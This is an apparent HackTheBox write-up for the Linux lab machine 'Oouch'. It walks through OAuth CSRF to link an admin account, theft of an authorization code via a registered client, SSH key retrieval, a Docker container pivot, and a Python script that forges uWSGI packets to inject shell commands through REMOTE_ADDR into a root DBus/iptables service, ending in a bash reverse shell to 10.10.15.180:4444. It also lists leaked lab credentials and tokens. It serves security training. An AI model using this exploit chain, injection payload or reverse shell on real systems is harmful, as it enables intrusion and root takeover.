HTB: Oouch Writeup

Oouch - HackTheBox Writeup

Machine Information

AttributeDetails
NameOouch
OSLinux
DifficultyHard
Points40
Release Date27 June 2020
IP Address10.129.29.195
Authorqtc

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Oouch is a hard difficulty Linux machine that demonstrates exploitation of OAuth 2.0 authorization flows through CSRF vulnerabilities and token abuse. The initial foothold requires understanding the OAuth framework, exploiting missing CSRF protection to link an administrative account, registering a malicious OAuth client application, and stealing authorization codes to obtain SSH credentials. Privilege escalation involves pivoting through Docker containers, exploiting a misconfigured DBus interface accessible via the www-data user, and leveraging direct access to a uWSGI socket to inject commands into an iptables-based intrusion prevention system running as root.

TL;DR: FTP enumeration → OAuth consumer/authorization server identification → CSRF to link admin account → leaked dev credentials → malicious OAuth client registration → authorization code theft via CSRF → access token exchange → SSH key retrieval → qtc shell → pivot to Flask container → uWSGI socket manipulation → DBus command injection → root shell.


Reconnaissance

Port Scanning

Terminal window
# Quick port discovery
nmap -p- --min-rate=1000 -T4 10.129.29.195
# Detailed scan on discovered ports
nmap -p 21,22,5000,8000 -sC -sV -T4 10.129.29.195

Results:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 49 Feb 11 2020 project.txt
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
5000/tcp open http nginx 1.14.2
|_http-title: Consumer
8000/tcp open http Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-title: Authorization Server

Service Enumeration

FTP (Port 21)

Anonymous login enabled. Retrieved project.txt:

Terminal window
ftp 10.129.29.195
# Username: anonymous
# Password: <blank>
ftp> ls
-rw-r--r-- 1 ftp ftp 49 Feb 11 2020 project.txt
ftp> get project.txt

Contents of project.txt:

Flask -> Consumer
Django -> Authorization Server

This indicates an OAuth 2.0 implementation where:

  • Flask (port 5000) hosts the consumer application (OAuth client)
  • Django (port 8000) hosts the authorization server

HTTP Services

Port 5000 (Flask Consumer):

  • Registration and login functionality
  • Profile page showing connected OAuth account
  • /documents endpoint restricted to administrators
  • /contact page for messaging administrators (XSS filtering present)
  • /oauth/connect and /oauth/login endpoints for OAuth flow

Port 8000 (Django Authorization Server):

  • User registration with optional SSH credential fields
  • OAuth authorization endpoints (/oauth/authorize, /oauth/token)
  • API endpoints for resource access

Vulnerability Assessment

  1. Missing CSRF Protection: The OAuth authorization flow lacks CSRF tokens, allowing authorization codes to be linked to arbitrary accounts
  2. GET-based Authorization: The /oauth/authorize endpoint accepts GET requests without CSRF validation
  3. Insecure DBus Configuration: The htb.oouch.Block DBus service allows www-data to send messages to a root-owned interface
  4. Command Injection in IPS: User-controlled REMOTE_ADDR passed to iptables without sanitization
  5. World-writable uWSGI Socket: The Flask container’s /tmp/uwsgi.socket (chmod 777) allows direct protocol manipulation

Initial Foothold

OAuth Framework Analysis

OAuth 2.0 defines four roles:

  1. Resource Owner: End user who owns the account
  2. Client (Consumer): Third-party application requesting access
  3. Resource Server: Hosts protected resources
  4. Authorization Server: Issues access tokens after successful authorization

The attack chain exploits the trust relationship between these components.

Step 1: Account Registration

Registered accounts on both services:

Terminal window
# On Flask consumer (port 5000)
# Registered: test_oauth / password123
# On Django authorization server (port 8000)
# Registered: test_oauth / password123

Why it works: The OAuth connection process (/oauth/connect/token) accepts authorization codes without CSRF validation. By tricking the admin into authorizing our malicious request, we can link their account to ours.

5000/oauth/connect
# 1. Initiate OAuth flow and capture authorization code
# Authorize the connection
# Intercept the redirect containing the code parameter
# 2. Copy the callback URL with the code
# Example format: http://consumer.oouch.htb:5000/oauth/connect/token?code=<CODE>
# 3. Submit via /contact page to trigger admin click
# The admin bot follows the link, connecting their qtc account to our test_oauth account

After waiting approximately 2 minutes, logging in via /oauth/login grants access as the qtc administrative user.

Step 3: Accessing Restricted Documents

Once logged in as qtc through OAuth, the /documents page revealed:

  1. Developer credentials: develop:supermegasecureklarabubu123!
  2. Application registration endpoint: /oauth/applications/register/
  3. Note about SSH key storage: Indicates the resource server stores SSH credentials
  4. GET support on /oauth/authorize: Simplifies CSRF exploitation

Step 4: Registering a Malicious OAuth Client

Accessed the Django authorization server with HTTP Basic authentication:

8000/oauth/applications/register/
# Credentials: develop:supermegasecureklarabubu123!

Registered a new public OAuth client application:

  • Name: htbapp
  • Client ID: 0xH2EfvRNGCu1nSqYI6GbBwSBbttgPjI9PjQnZL3 (auto-generated)
  • Client Secret: E1Tn47WTQ7Leei0GDy8ZbVCnrmZ0XDnr0dmljLyakrq8MboibMUqDcgFsUva457GbWUJqPFUErRNpmleX4nbMJsui4uZCEVI4fMHrkhyvi0rKSvgWZ9tB4825VFaeP1e
  • Redirect URI: http://10.10.15.180:8080/auth
  • Authorization Grant Type: authorization-code
  • Client Type: Public

Why this works: OAuth allows developers to register their own client applications. By registering our own client with a redirect URI under our control, we can capture authorization codes issued to the admin.

Step 5: Stealing Admin Authorization Code

Constructed a CSRF-friendly GET request to force admin authorization:

Terminal window
# Start listener on our redirect URI
nc -lvnp 8080
# Crafted URL (CSRF token removed):
http://authorization.oouch.htb:8000/oauth/authorize/?client_id=0xH2EfvRNGCu1nSqYI6GbBwSBbttgPjI9PjQnZL3&response_type=code&scope=read&redirect_uri=http://10.10.15.180:8080/auth&allow=Authorize
# Submit via /contact page
# The qtc admin bot follows the link and authorizes our application

Key insight: The /oauth/authorize endpoint accepts GET requests and does not validate CSRF tokens when the allow=Authorize parameter is present. This forces automatic authorization without user interaction.

Received callback with admin authorization code:

GET /auth?code=VpYQsI7TvLPt1KdSQoA8PLRfMo2rau&state= HTTP/1.1
Host: 10.10.15.180:8080

Step 6: Exchanging Code for Access Token

Terminal window
# Exchange authorization code for access token
curl -X POST \
-d "grant_type=authorization_code" \
-d "client_id=0xH2EfvRNGCu1nSqYI6GbBwSBbttgPjI9PjQnZL3" \
-d "client_secret=E1Tn47WTQ7Leei0GDy8ZbVCnrmZ0XDnr0dmljLyakrq8MboibMUqDcgFsUva457GbWUJqPFUErRNpmleX4nbMJsui4uZCEVI4fMHrkhyvi0rKSvgWZ9tB4825VFaeP1e" \
-d "code=VpYQsI7TvLPt1KdSQoA8PLRfMo2rau" \
http://authorization.oouch.htb:8000/oauth/token/

Response:

{
"access_token": "cnu69AJrAMdhIHniwFIQSNwD9acOMC",
"expires_in": 600,
"token_type": "Bearer",
"scope": "read",
"refresh_token": "fc3pieJuyY9FLgc4xt6LIruE2bzIjZ"
}

Step 7: Retrieving SSH Credentials

Terminal window
# Access protected API endpoint with bearer token
curl -H 'Authorization: Bearer cnu69AJrAMdhIHniwFIQSNwD9acOMC' \
http://authorization.oouch.htb:8000/api/get_user
# Discovered /api/get_ssh endpoint through educated guessing
curl -H 'Authorization: Bearer cnu69AJrAMdhIHniwFIQSNwD9acOMC' \
http://authorization.oouch.htb:8000/api/get_ssh

Response contained qtc’s SSH private key:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[... full key retrieved ...]
-----END OPENSSH PRIVATE KEY-----

Step 8: SSH Access as qtc

Terminal window
# Save private key
cat > qtc_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[key content]
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 qtc_id_rsa
# SSH into the host
ssh -i qtc_id_rsa qtc@10.129.29.195
qtc@oouch:~$ id
uid=1000(qtc) gid=1000(qtc) groups=1000(qtc)
qtc@oouch:~$ cat user.txt
<redacted>

Privilege Escalation

Step 9: Enumeration as qtc

Discovered Docker containers running Flask and Django:

Terminal window
qtc@oouch:~$ ps aux | grep docker
# Flask consumer: 172.18.0.4
# Django authorization server: 172.18.0.2
qtc@oouch:~$ cat .note.txt

Contents of .note.txt:

Implementing an IPS using DBus and iptables

This indicates a custom intrusion prevention system using:

  • DBus: Inter-process communication system
  • iptables: Firewall rule management

Step 10: DBus Configuration Analysis

Terminal window
qtc@oouch:~$ ls -la /etc/dbus-1/system.d/
-rw-r--r-- 1 root root 433 Feb 11 2020 htb.oouch.Block.conf
qtc@oouch:~$ cat /etc/dbus-1/system.d/htb.oouch.Block.conf

Configuration:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>
<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>
</busconfig>

Key findings:

  • The htb.oouch.Block service is owned by root
  • The www-data user can send messages to this service
  • To exploit this, we need access as www-data

Step 11: Pivot to Flask Container

Terminal window
qtc@oouch:~$ ls -la .ssh/
-rw------- 1 qtc qtc 2602 Feb 11 2020 id_rsa
-rw-r--r-- 1 qtc qtc 564 Feb 11 2020 id_rsa.pub
# Check if SSH is available on Docker containers
qtc@oouch:~$ (echo > /dev/tcp/172.18.0.2/22) 2>/dev/null && echo "SSH open" || echo "SSH closed"
SSH closed
qtc@oouch:~$ (echo > /dev/tcp/172.18.0.4/22) 2>/dev/null && echo "SSH open" || echo "SSH closed"
SSH open
# SSH to Flask container
qtc@oouch:~$ ssh -i .ssh/id_rsa qtc@172.18.0.4
qtc@aeb4525789d8:~$ id
uid=1000(qtc) gid=1000(qtc) groups=1000(qtc)

Step 12: uWSGI Socket Discovery

Terminal window
qtc@aeb4525789d8:~$ cd /code
qtc@aeb4525789d8:/code$ ls -la
drwxr-xr-x 6 root root 4096 Feb 25 2020 .
drwxr-xr-x 1 root root 4096 Jun 27 2020 ..
-rw-r--r-- 1 root root 108 Feb 11 2020 Dockerfile
-rw-r--r-- 1 root root 163 Feb 11 2020 config.py
-rw-r--r-- 1 root root 116 Feb 11 2020 nginx.conf
drwxr-xr-x 5 root root 4096 Feb 11 2020 oouch
-rw-r--r-- 1 root root 57 Feb 11 2020 requirements.txt
-rw-r--r-- 1 root root 241 Feb 11 2020 uwsgi.ini
drwxr-xr-x 6 root root 4096 Feb 11 2020 venv
qtc@aeb4525789d8:/code$ cat uwsgi.ini

uWSGI Configuration:

[uwsgi]
module = oouch:app
uid = www-data
gid = www-data
master = true
processes = 10
socket = /tmp/uwsgi.socket
chmod-sock = 777
vacuum = true
die-on-term = true

Critical finding: The socket at /tmp/uwsgi.socket runs as www-data with 777 permissions, allowing any user to interact with it directly.

Terminal window
qtc@aeb4525789d8:/code$ ls -la /tmp/uwsgi.socket
srwxrwxrwx 1 www-data www-data 0 [date] /tmp/uwsgi.socket

Step 13: Application Code Analysis

Terminal window
qtc@aeb4525789d8:/code$ cat oouch/routes.py | grep -A 20 "def contact"

Relevant code snippet:

@app.route('/contact', methods=['GET', 'POST'])
@login_required
def contact():
form = ContactForm()
if form.validate_on_submit():
# XSS filter
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object,
dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')

Attack vector identified:

  1. The /contact endpoint detects XSS payloads
  2. Upon detection, it retrieves REMOTE_ADDR from the request environment
  3. This IP is sent to the host’s DBus htb.oouch.Block service
  4. The service likely executes: iptables -A INPUT -s <REMOTE_ADDR> -j DROP
  5. If REMOTE_ADDR is not sanitized, we can inject commands: ; <cmd>; #

Step 14: Creating uWSGI Communication Script

uWSGI uses a binary protocol, not HTTP. We need to craft proper uWSGI packets to communicate with the socket.

uwsgi_exploit.py
#!/usr/bin/env python3
# Based on uwsgi-tools protocol implementation
import socket
import sys
def pack_uwsgi_vars(var):
"""Pack WSGI environment variables into uWSGI binary format"""
# uWSGI packet structure: modifier1 (1 byte) + datasize (2 bytes) + modifier2 (1 byte) + data
pk = b''
for k, v in var.items():
pk += (len(k).to_bytes(2, 'little') +
k.encode('utf-8') +
len(v).to_bytes(2, 'little') +
v.encode('utf-8'))
# Packet header: modifier1=0, datasize=len(pk), modifier2=0
header = b'\x00' + len(pk).to_bytes(2, 'little') + b'\x00'
return header + pk
def send_payload(uwsgi_vars, body=''):
"""Send crafted packet to uWSGI socket"""
packet = pack_uwsgi_vars(uwsgi_vars)
if body:
packet += body.encode('utf-8')
# Connect to Unix socket
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/tmp/uwsgi.socket')
s.send(packet)
# Receive response
response = b''
while True:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
s.close()
return response.decode('utf-8', errors='ignore')
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} '<command>'")
sys.exit(1)
command = sys.argv[1]
# Forge POST request to /contact with XSS payload
# Must include valid session cookie and CSRF token
session_cookie = 'session=.eJyNjzFuwzAMRaiaA4KSZQUy6co2qFDEQQUSSVGnbiw5CnI3Su0Yzt0IgjB75_16cyY71I1eP7XavWh75KrXgWvdfPs2AVNS9nNd1UWxQS9aNql6mqz5550sfH_jf3IuepthXbtNzU6_YNlW3eqTeZabmKalKb2_0N_vpcd_NV6kXPbZ1k75NrEftg2R2lo1HZJMtZjRFIrmAYlwiGzK6MsAhQeLgM7jMYDOVEEFoKIIHm6IPxqLxjgL3oOPiwREgIaTMJkZfSEIWA4FFwEUDxchAzoSuT3Utp7Z8yK37pEEwogHKnLy3jiInIyWFIecDu4SRPRFQ57Yq608Jqx9fgv1_Aw.Xx6Kfg.wXIDfdnBXArj7_vHx7wcSj35ziI'
csrf_token = 'Ijk4ZWE2YTAzY2JkOTQ0MTJjNmQ5MGVmOTU4YmI3ZDI5YTZkNGNjM2Mi.Xx7G7Q.5izVlt-cWW0OJfk1Wx7zy2zzoIU'
post_body = f'csrf_token={csrf_token}&textfield=<img+src%3dhttp%3a//10.10.15.180/>&submit=Send'
# Craft uWSGI environment variables
uwsgi_vars = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'POST',
'PATH_INFO': '/contact',
'REQUEST_URI': '/contact',
'QUERY_STRING': '',
'SERVER_NAME': 'consumer.oouch.htb',
'SERVER_PORT': '5000',
'HTTP_HOST': 'consumer.oouch.htb:5000',
'HTTP_COOKIE': session_cookie,
'CONTENT_TYPE': 'application/x-www-form-urlencoded',
'CONTENT_LENGTH': str(len(post_body)),
# Command injection via REMOTE_ADDR
'REMOTE_ADDR': f'; {command}; #',
}
print(f"[*] Sending command: {command}")
response = send_payload(uwsgi_vars, post_body)
print("[+] Response received")
print(response[:500]) # Print first 500 chars

Why this works:

  1. We bypass HTTP entirely and speak directly to uWSGI using its binary protocol
  2. We control all WSGI environment variables, including REMOTE_ADDR
  3. When the application reads request.environ.get('REMOTE_ADDR'), it gets our injected value
  4. The DBus service passes this to iptables without sanitization: iptables -A INPUT -s ; <cmd>; # -j DROP
  5. The semicolons execute our command, and # comments out the rest

Step 15: Testing Command Injection

Terminal window
# Transfer exploit script to container
qtc@oouch:~$ scp -i .ssh/id_rsa uwsgi_exploit.py qtc@172.18.0.4:/tmp/
# SSH to container
qtc@oouch:~$ ssh -i .ssh/id_rsa qtc@172.18.0.4
# On the Flask container, test with a simple command
qtc@aeb4525789d8:~$ cd /tmp
qtc@aeb4525789d8:/tmp$ python3 uwsgi_exploit.py 'touch /tmp/pwned_by_uwsgi'
# Back on the host, verify command execution
qtc@oouch:~$ ls -la /tmp/pwned_by_uwsgi
-rw-r--r-- 1 root root 0 [timestamp] /tmp/pwned_by_uwsgi

Success! Commands injected via REMOTE_ADDR execute as root on the host through the DBus service.

Step 16: Root Shell

Terminal window
# On attack machine, start listener
nc -lvnp 4444
# On Flask container, execute reverse shell
qtc@aeb4525789d8:/tmp$ python3 uwsgi_exploit.py 'bash -c "bash -i >& /dev/tcp/10.10.15.180/4444 0>&1"'
# Receive root shell on attack machine
root@oouch:/root# id
uid=0(root) gid=0(root) groups=0(root)
root@oouch:/root# cat /root/root.txt
<redacted>

Attack Chain Summary

FTP Anonymous Login (project.txt) → OAuth Architecture Discovery →
Register Consumer + Authorization Accounts → CSRF OAuth Link (Admin → Our Account) →
Access Restricted Documents → Discover Dev Credentials (develop:supermegasecureklarabubu123!) →
Register Malicious OAuth Client (redirect to 10.10.15.180:8080) →
CSRF Force-Authorize Admin (Steal Authorization Code) → Exchange Code for Access Token →
API Call /api/get_ssh (Retrieve qtc SSH Key) → SSH as qtc →
Enumerate Docker Containers + DBus Config → SSH to Flask Container (172.18.0.4) →
uWSGI Socket Analysis (chmod 777, www-data) → Forge uWSGI Packets (REMOTE_ADDR Injection) →
DBus Command Injection (htb.oouch.Block → iptables as root) → Root Shell

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ftpAnonymous FTP access for initial intelligence
curlOAuth token exchange and API interaction
burpsuiteIntercepting OAuth flow and analyzing requests
sshRemote access as qtc and container pivoting
python3Custom uWSGI protocol exploitation script
ncReverse shell listener
pspyProcess monitoring to observe iptables execution

Key Learnings

Techniques Practiced

  • OAuth 2.0 Security Testing: Understanding authorization flows, identifying missing CSRF protection, and exploiting token-based authentication
  • CSRF in Authorization Flows: Leveraging missing CSRF tokens to link administrative accounts and steal authorization codes
  • API Enumeration: Discovering undocumented endpoints (/api/get_ssh) through logical guessing
  • Docker Container Pivoting: Moving laterally from host to containerized services via SSH
  • DBus Security Analysis: Understanding inter-process communication policies and identifying privilege escalation vectors
  • uWSGI Protocol Exploitation: Crafting binary protocol packets to manipulate WSGI environment variables
  • Command Injection in IPS Systems: Exploiting unsanitized user input in security tools (iptables wrapper)

Lessons Learned

  1. OAuth CSRF is Critical: All state-changing OAuth operations (authorization, token exchange, account linking) must include CSRF tokens. The absence of CSRF protection in /oauth/connect/token allowed complete account takeover through a simple URL click.

  2. GET Requests for Sensitive Operations: The /oauth/authorize endpoint accepting GET requests with auto-authorization (allow=Authorize) parameter creates a trivial CSRF vector. OAuth RFC recommends POST-only for authorization grants.

  3. Client Registration Controls: Allowing authenticated users to register OAuth clients with arbitrary redirect URIs enables authorization code theft. Production implementations should whitelist redirect domains or require admin approval.

  4. DBus Policy Enforcement: DBus policies should follow least privilege. Allowing www-data to send messages to a root-owned service that executes system commands is a critical misconfiguration.

  5. Input Sanitization in Security Tools: Security mechanisms (IPS, WAF, firewall wrappers) are attractive targets. The iptables wrapper passed user input directly to system() without validation, turning a security control into a privilege escalation vector.

  6. Unix Socket Permissions: World-writable sockets (chmod 777 /tmp/uwsgi.socket) allow complete protocol manipulation. Even if the socket runs as a low-privilege user, controlled environment variables can propagate to privileged services (via DBus in this case).

  7. Defense in Depth: The attack chain required combining multiple vulnerabilities: OAuth CSRF → credential disclosure → client registration → DBus misconfiguration → command injection. Each layer could have broken the chain if properly secured.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References